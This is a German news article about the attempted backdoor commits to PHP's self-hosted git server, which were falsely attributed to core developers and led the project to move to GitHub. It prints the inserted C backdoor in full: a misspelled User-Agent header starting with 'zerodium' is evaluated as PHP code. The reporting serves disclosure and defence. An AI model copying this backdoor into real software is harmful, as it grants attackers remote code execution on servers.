PHP-Repository wechselt nach mysteriösen (Schad-)Code-Commits zu GitHub

Unbekannte haben versucht, Schadcode in das Git-Repository der Skriptsprache einzugeben, der einen Verweis auf das Unternehmen Zerodium enthält.

In Pocket speichern vorlesen Druckansicht 94 Kommentare lesen

(Bild: Madeleine Domogalla)

Lesezeit: 4 Min.
Von
  • Rainald Menge-Sonnentag
Inhaltsverzeichnis

Nach einem Manipulationsversuch der Codebasis hat das Team hinter der Skriptsprache PHP den Umzug des Repository angekündigt. Die künftige Entwicklung wird demnach auf der Versionsverwaltungsplattform GitHub stattfinden. Bisher hatten die PHP-Betreiber einen Git-Server auf einer eigenen Infrastruktur.

Dort gab es am Wochenende zwei Code-Commits, die Schadcode enthalten haben. Als vermeintliche Urheber haben die Angreifer Nikita Popov, der sowohl in die Entwicklung der Programmiersprache als auch bei JetBrains in PHPStorm involviert ist, und den PHP-Erfinder Rasmus Lerdorf vorgeschoben.

Als Grund der Codeeinreichung gaben die Unbekannten an, lediglich einen kleinen Tippfehler korrigieren zu wollen. Allerdings zeigt ein Blick in die Einträge, dass der Code keine Korrekturen, sondern einen zusätzlichen Block enthält, der offensichtlich eine Hintertüre für Remote Code Execution (RCE) öffnen soll.

Weder behebt der Commit einen Tippfehler, noch stammt er vom PHP-Erfinder.

Der Block führt PHP-Code aus, der im HTTP Header steht:

if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || 
  zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
  (enc = zend_hash_str_find(
    Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), 
    "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
  convert_to_string(enc);
  if (strstr(Z_STRVAL_P(enc), "zerodium")) {
    zend_try {
      zend_eval_string(Z_STRVAL_P(enc)+8, NULL, 
        "REMOVETHIS: sold to zerodium, mid 2017");
    } zend_end_try();
  }
}

Neben der Tatsache, dass der Code eine Hintertür öffnet (und dass der HTTP_USER_AGENTT mit zwei T geschrieben ist), ist die Auswertung des übergebenen Strings im HTTP-Header interessant: Die Ausführung erfolgt nur dann, wenn die Zeichenkette mit "zerodium" anfängt. Bei Zerodium handelt es sich um ein 2015 gegründetes, amerikanisches Unternehmen, das vor allem Zero-Day Exploits entwickelt und zukauft, um sie seinen Regierungskunden zu übergeben – zusammen mit Schutzmaßnahmen und Empfehlungen.

Ein Blick auf die Wurzeln des Unternehmens zeigt einen anderen Ansatz für das Geschäft mit Zero-Day Exploits: Der CEO Chaouki Bekrar hatte vor Zerodium 2004 das französische Unternehmen Vupen Security gegründet, das sich darauf spezialisiert hatte, Zero-Day-Schwachstellen in verbreiteter Software aufzuspüren. Die gefundenen Angriffsflächen verkauften sie an Strafverfolger und Geheimdienste, die sie anschließend für defensive und auch offensive Maßnahmen nutzten.

Forbes hat 2012 einen Artikel über die "Hacker, die Spionen die Werkzeuge verkaufen, um Ihren PC zu knacken (und sechsstellige Honorare einkassieren)" veröffentlicht. Zudem beschwichtigte Vupen offensichtlich Kunden und verkaufte gleichzeitig die Lücken. Ende 2014 wanderte Vupen aus Frankreich aus. 2015 schloss das Unternehmen endgültig.

Auf Twitter distanziert sich Bekrar nach Bekanntwerden des Angriffs umgehend mit den zynischen Worten "Glückwunsch an den Troll der "Zerodium" in dem heute eingebrachten PHP-Git-Schadcode-Commit verwendet hat. Offensichtlich haben wir nichts damit zu tun. Vermutlich haben die Researcher, die den Bug/Exploit gefunden haben, versucht ihn an viele potenzielle Kunden zu verkaufen, aber keiner wollte den Mist haben – also haben sie ihn zum Spaß verbrannt".

Nikita Popov hat bereits am Sonntag auf den kurz zuvor erfolgten Angriff reagiert. Nach den Erkenntnissen des PHP-Teams haben die Angreifer den Git-Server auf git.php.net und nicht individuelle Accounts kompromittiert. Als Konsequenz gab Popov bekannt, dass die Weiterentwicklung der Programmiersprache auf GitHub stattfindet.

Dort existieren bereits PHP-Repositories, die bisher allerdings lediglich ein Mirror des internen Git waren. Wer sich an der Entwicklung beteiligen möchte, muss zuvor Teil der PHP-Organisation auf GitHub sein. Für den Zugriff ist eine Zwei-Faktor-Authentifizierung zwingend vorgegeben. Währenddessen prüfen die PHP-Betreiber, ob neben den beiden Commits weitere Codeeinreichungen mit Schadcode ihren Weg in die Repositories gefunden haben.

In einem Gespräch mit der Nachrichten-Website BleepingComputer sagte Popov, dass der Schadcode in den beiden Commits nicht in irgendwelchen Tags oder Release-Artefakten gelandet sind. Allerdings könnten sie durch das Klonen oder Forken des Repository nach außen gelangt sein.

(rme)